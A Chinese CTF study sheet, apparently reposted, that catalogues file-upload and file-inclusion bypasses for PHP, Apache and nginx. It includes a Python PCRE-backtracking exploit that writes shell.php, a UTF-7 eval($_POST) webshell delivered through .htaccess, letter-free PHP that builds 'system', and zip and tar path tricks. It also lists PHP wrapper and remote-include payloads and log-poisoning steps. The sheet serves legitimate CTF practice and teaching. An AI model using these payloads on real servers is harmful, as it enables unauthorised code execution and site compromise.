CTF考點總結-文件上傳/文件包含


文件上傳

前端檢查

前端對文件后綴進行檢查,該種通過抓包修改數據包即可解決

文件名檢查

大小寫繞過

在windows下,可以將后綴寫為pHp

unicode

當目標存在json_decode且檢查在json_decode之前,可以將php寫為\u0070hp

php3457

該項為apache專屬

關鍵點在/etc/apache2/mods-available/php5.6.conf這個文件,滿足.+\.ph(p[3457]?|t|tml)$,都會被當作php文件解析。在apache2目錄下grep -r x-httpd-php /etc/apache2找到對應文件就能知道解析哪些后綴

利用正則回溯pcre限制

pcre默認限制為100w

參考文章:PHP利用PCRE回溯次數限制繞過某些安全限制

有如下場景

<?php
if(!preg_match('/.+?ph/is',$_POST['n']))
file_put_contents($_POST['n'],$_POST['s']);

可利用如下exp解決

import requests

data= {'n':"php://filter/write=convert.base64-decode/"+'/'*1000000+'/resource=shell.php','s':"PD9waHAgcGhwaW5mbygpPz4="}

print (requests.post('http://127.0.0.1',data=data).text)

請求頭檢查:content-type,MIME類型

將php文件的content-type:application/octet-stream修改為image/png等就可以

更多content-type:可以查看https://tool.oschina.net/commons/

解析漏洞、語言特性及漏洞

apache2

多后綴解析漏洞

在Apache 2.0.x <= 2.0.59,Apache 2.2.x <= 2.2.17,Apache 2.2.2 <= 2.2.8中Apache 解析文件的規則是從右到左開始判斷解析,如果后綴名為不可識別文件解析,就再往左判斷。

如1.php.abc,因apache2不識別.abc后綴,所以向前解析php

.htaccess

Apache提供了一種很方便的、可作用於當前目錄及其子目錄的配置文件——.htaccess(分布式配置文件)

當站點配置上標有AllowOverride All,並且rewrite_mod開啟時,.htaccess文件就會生效。

(1) Options

列目錄

Options +Indexes 

可以執行cgi程序

Options ExecCGI 

解析cgi的參考鏈接https://www.freebuf.com/vuls/218495.html

(2) AddType application/x-httpd-php abc

當在.htaccess中寫入AddType application/x-httpd-php abc時,就會把1.abc當作php文件解析

(3) php_value、php_admin

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
php_value auto_append_file .htaccess
+ADw?php phpinfo()+Ads
<?php
echo mb_convert_encoding('<?php eval($_POST["x"]);?>', "UTF-7", "UTF-8");
?>

UTF-7、UTF-16、UTF-32皆可

任意文件下載

php_flag engine 0

除此之外還可以這樣書寫.htaccess

CVE-2017-15715

利用在上傳文件時,文件名之后添加一個\x0a來繞過黑名單上傳的限制

nginx

CVE-2013-4547

參考https://github.com/vulhub/vulhub/tree/master/nginx/CVE-2013-4547

即上傳一個1.gif,然后訪問1.gif[0x20][0x00].php([0x20][0x00]為空格和\0不需要url編碼),1.gif會被當作php解析

php-cgi漏洞

在php配置文件中,開啟了cgi.fix_pathinfo,導致圖片馬1.jpg可以通過訪問1.jpg/.php解析成php

.user.ini

當使用CGI/FastCGI 來解析php時,php會優先搜索目錄下所有的.ini文件,並應用其中的配置。類似於apache的.htaccess,但語法與.htacces不同,語法與php.ini一致。因nginx實際上只是起到轉發的作用,實際解析一般為php-fpm或fastcgi來解析,所以在.user.ini中寫如auto_prepend_file=test.jpg,之后上傳.user.ini與test.jpg,過一段時間等待.user.ini被加載后,會導致每個php文件解析之前先將test.jpg當作php解析。

php

00截斷

php 版本為5.2.x,在上傳文件時在文件后名后追加\0即可讓上傳的文件,最終變為以.php結尾的文件

fopen特性

<?php
$filename='shell.php/.';
$content="<?php phpinfo();";
$f = fopen($filename, 'w');
    fwrite($f, $content);
    fclose($f);
?> //會在當前目錄生成shell.php

文件內容檢查:

繞過<?php,<?=

https://www.php.net/manual/zh/language.basic-syntax.phpmode.php

其中第2種在php7種不可以使用,在php5中可以使用

繞過[a-zA-Z0-9]

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

僅數字+符號

waf代碼如下:

<?php 
error_reporting(0); 
if(!isset($_GET['num'])){ 
    show_source(__FILE__); 
}else{ 
    $str = $_GET['num']; 
    $blacklist = ['[a-z]', '[\x7f-\xff]', '\s',"'", '"', '`', '\[', '\]','\$', '_', '\\\\','\^', ',']; 
    foreach ($blacklist as $blackitem) { 
        if (preg_match('/' . $blackitem . '/im', $str)) { 
            die("what are you want to do?"); 
        } 
    } 
    @eval('echo '.$str.';'); 
} 
?> 

使用如下

<?php 
$a ='';
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(9)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1}));
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}));
$a .= (((10000000000000000000).(1)){3});
$a .= ((((10000000000000000000).(1)){3})|(((-1).(1)){0}));
echo $a; //systEm
?>

<?php 
$a ='';
$a .= (((10000000000000000000).(1)){3}); // E
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //n
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(6)){1}))); //D
echo $a; //EnD
?>

<?php // getallheaders
$a ='';
$a .= ((((10000000000000000000).(1)){3})|(((1.1).(1)){1})&((~(((1).(8)){1})|(((1).(7)){1})))); // g
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1})); //T
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); // l
$a .= (((((10000000000000000000).(1)){3})|(((1.1).(1)){1}))&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(0)){1}))); // h
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(1)){1}))); //a
$a .= ((((10000000000000000000).(1)){3})&((~(((1).(7)){1})|(((1).(0)){1}))|(((1).(4)){1}))); //D
$a .= (((10000000000000000000).(1)){3}); // E
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(2)){1})); // r
$a .= ((((10000000000000000000).(1)){3})&(~(((1).(7)){1})|(((1).(0)){1}))|(((1).(3)){1})); // s
echo $a;
?>

https://waituck.sg/web/rctf2020/php/2020/06/10/rctf-2020-calc-writeup.html
https://blog.rois.io/en/2020/rctf-2020-official-writeup-2/#Calc

繞過;(分號)

<?=phpinfo()?>

exif_imagetype()

該函數為獲取圖片的類型,常用於檢測上傳文件的類型

(1)可以使用在文件頭添加魔術字節GIF89a即可繞過
(2)使用copy命令將木馬放在一個正常文件之后

get_imagesize()

該函數為獲取圖片的長寬,常用於檢測上傳文件的類型
(1)可以在文件之前添加

#define width 1337                          
#define height 1337

即可繞過

二次渲染

https://github.com/hxer/imagecreatefrom-/tree/master/
https://www.freebuf.com/articles/web/54086.html
http://www.vuln.cn/6411

多文件上傳

當服務器支持多文件上傳,但只對上傳的第一個進行過濾時,可以一次上傳多個文件進行繞過

文件上傳解壓

tar壓縮包

linux環境

ln -s / 1.jpg 會在當前目錄下生成一個名為1.jpg的軟鏈接
tar cf 1.tar 1.jpg
上傳到服務器,訪問1.jpg,就可以在服務器中漫游了
也可以利用這個辦法繞過php_flag engine off

例子:https://250.ac.cn/2019/11/09/2019-湖湘杯-web部分-WriteUp/#預期解

zip壓縮包

如果服務器對上傳的zip文件直接解壓的話,就可以構築這樣一個文件來繞過
環境:/var/www/html/upload目錄不解析php文件,解壓文件默認在upload下

新建1234.php,內容任意
將1234.php壓縮為1234.zip文件
使用hxd或者010editor等16進制編輯器編輯1234.zip文件,將所有字符串1234.php替換為../1.php(../1共四位所以使用1234為文件名,可根據需求修改),保存。
將修改后的1234.zip上傳,經過服務器解壓,會在/var/www/html下生成一個1.php

條件競爭

在一些上傳場景中,上傳的文件上傳成功后會被立馬刪除,導致無法訪問上傳的文件。所以從上傳成功到被刪除的這段時間大概(幾百ms)存在一個空檔,我們利用這段空檔可以訪問到上傳的文件。但是手工操作肯定是來不及,我們寫腳本操作也來不及。所以可以通過不斷的上傳文件,並不斷的訪問到達目的。

其他情況

rce
imagick rce:CVE-2016–3714
file_put_contents

file_put_contents($filename,$content);

filename參數支持以url形式寫入,支持php偽協議,支持遠程讀取文件

具體參考:

file_put_content和死亡·雜糅代碼之緣

文件包含

路徑穿越

upload/../../../../../tmp/shell.php

偽協議繞過

ftp://shell.php
file:///tmp/shell.php
http://xxxx/shell.php
\\smbserver\shell.php        //unc路徑
phar://xxxx/x.zip/shell.php   //需將shell.php打包為x.zip上傳
zip://xxxx/x.zip#shell.php    //需將shell.php打包為x.zip上傳
php://filter/read=convert.base64-encode/resource=shell.php
compress.bzip2://shell.php
compress.zlib://shell.jpg
php://input    [POST DATA] <?php phpinfo()?>
data://text/plain,<?php phpinfo()?>                 //也可以data:text/plain,<?php phpinfo()?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4= 
php://filter/read=convert.base64-encode/resource=phar://phar.phar
php://filter/convert.base64-decode|convert.base64-decode/resource=shell.php
php://filter/%72ead=convert.base64-encode/resource=shell.%70hp

包含session

參考 php_myadmin4.8.1 文件包含漏洞CVE-2018-12613

https://github.com/vulhub/vulhub/tree/master/phpmyadmin/CVE-2018-12613

包含日志

apache2

以ubuntu下apache2為例,先請求/<?php phpinfo();?>,然后包含/var/log/apache2/access.log即可

mail

/var/log/mail.log

或者可以參考這個

安恆杯6月賽web2 easypentest


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM